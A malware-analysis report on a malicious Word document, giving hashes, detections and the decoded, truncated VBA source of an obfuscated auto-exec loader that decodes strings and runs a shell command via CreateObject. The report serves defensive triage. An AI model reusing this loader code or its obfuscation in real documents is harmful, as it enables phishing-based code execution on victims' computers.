Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5f7a51c974f513ea…

MALICIOUS

Office (OLE)

37.5 KB Created: 2018-05-01 23:58:00 Authoring application: Microsoft Office Word First seen: 2019-01-12
MD5: 317afd4d98730ad3f8f2375a9095b356 SHA-1: 4fb9c219723f408041287d47c69286158545797d SHA-256: 5f7a51c974f513ea9fab7091b141bfaee82e8baf8e2075d6b8d57d62d617188e
304 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV and exhibits critical heuristic firings for an obfuscated auto-exec VBA loader. The Document_Open macro is present and attempts to execute code, likely downloading a second-stage payload. The presence of VBA macros and the auto-execution suggests a common phishing attachment delivery method.

Heuristics 9

  • ClamAV: Xls.Malware.Valyria-6700358-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Valyria-6700358-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4238 bytes
SHA-256: 0cded1b2f69a157f94aa7f44da3fbad95e77399dac1a7e8ca65def3221141bf7
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 5 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit

Private Function acII52S() As String
MsgBox "91MABZUK5BWCV2RUYLNWXG0JIMY34VF3PE2B"
Dim aacII52S As String
aacII52S = Mid("7C5D5A64496D55648864329F64645964645E4D647EA06464648A3C64534F646451646464768F64645164649B649F6364645664747F28646464643D645A7D6464876473648F64645264644A7E3E4B832564735D644D3D6B699564646D94A164643C778F6464316464642A6498649B6464645C2E71645E642D9F64646426648B6B5983266464355B66A26478378E646488642A895C97643264A2879A643D6464644D996464642664646464C3643464646464536475487B64648D4E648B87976464642F64645B646443646464646464959564646476645A5C64644C646474643C73646464644E6457506464646464646427", 82, 10)
acII52S = aacII52SEnd Function

Public Sub Document_Open()
    Application.Run V_U("878B7B7987898D799792818987879186")
End Sub
Private Function ac5F1TL() As String
MsgBox "5LZ1JZQEPX0KDEGK8E30N5RLBABXLIC8SRJZ"
Dim aac5F1TL As String
aac5F1TL = Mid("7C5D5A64496D55648864329F64645964645E4D647EA06464648A3C64534F646451646464768F64645164649B649F6364645664747F28646464643D645A7D6464876473648F64645264644A7E3E4B832564735D644D3D6B699564646D94A164643C778F6464316464642A6498649B6464645C2E71645E642D9F64646426648B6B5983266464355B66A26478378E646488642A895C97643264A2879A643D6464644D996464642664646464C3643464646464536475487B64648D4E648B87976464642F64645B646443646464646464959564646476645A5C64644C646474643C73646464644E6457506464646464646427", 82, 10)
ac5F1TL = aac5F1TLEnd Function

Public Function V_U(ByVal YLK_NCX As String)
   Dim JN_GS As String
   Dim VN_I As Long
   For VN_I = 1 To Len(YLK_NCX) Step 2
        JN_GS = JN_GS & Chr(CLng("&H" & Mid(YLK_NCX, VN_I, 2)) - 56)
   Next
   V_U = JN_GS
End Function
Public Sub M_A()
    Dim YLK_NCX As Object: Set YLK_NCX = VBA.CreateObject(V_U("8F8B9BAAA1A8AC668BA09DA4A4"))
    YLK_NCX.Exec (V_U(ActiveDocument.Variables("G43AC1").Value))
End Sub
Private Function acMKUVU() As String
MsgBox "TACJM5CZ8MGMAZZ1I2H6BL64TLC7Y3JVO8LT"
Dim aacMKUVU As String
aacMKUVU = Mid("7C5D5A64496D55648864329F64645964645E4D647EA06464648A3C64534F646451646464768F64645164649B649F6364645664747F28646464643D645A7D6464876473648F64645264644A7E3E4B832564735D644D3D6B699564646D94A164643C778F6464316464642A6498649B6464645C2E71645E642D9F64646426648B6B5983266464355B66A26478378E646488642A895C97643264A2879A643D6464644D996464642664646464C3643464646464536475487B64648D4E648B87976464642F64645B646443646464646464959564646476645A5C64644C646474643C73646464644E6457506464646464646427", 82, 10)
acMKUVU = aacMKUVUEnd Function

Sub Workbook_Open()
    Application.Run "ThisWorkbook." & V_U("878B7B7987898D799792818987879186")
End Sub
Private Function ac5QM6J() As String
MsgBox "HQBY211BNDSMYSHDIZB3FAFDU8BNG62QLX45"
Dim aac5QM6J As String
aac5QM6J = Mid("7C5D5A64496D55648864329F64645964645E4D647EA06464648A3C64534F646451646464768F64645164649B649F6364645664747F28646464643D645A7D6464876473648F64645264644A7E3E4B832564735D644D3D6B699564646D94A164643C778F6464316464642A6498649B6464645C2E71645E642D9F64646426648B6B5983266464355B66A26478378E646488642A895C97643264A2879A643D6464644D996464642664646464C3643464646464536475487B64648D4E648B87976464642F64645B646443646464646464959564646476645A5C64644C646474643C73646464644E6457506464646464646427", 82, 10)
ac5QM6J = aac5QM6JEnd Function

Sub OSCAOQUA_ZIQOOYN()
    M_A
End Sub
Private Function acQMKJV() As String
MsgBox "J0JCFISXU6B72793OZIX22GU12V4R4W3UEDE"
Dim aacQMKJV As String
aacQMKJV = Mid("7C5D5A64496D55648864329F64645964645E4D647EA06464648A3C64534F646451646464768F64645164649B649F6364645664747F28646464643D645A7D6464876473648F64645264644A7E3E4B832564735D644D3D6B699564646D94A164643C778F6464316464642A6498649B6464645C2E71645E642D9F64646426648B6B5983266464355B66A26478378E646488642A895C97643264A2879A643D6464644D996464642664646464C3643464646464536475487B64648D4E648B87976464642
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.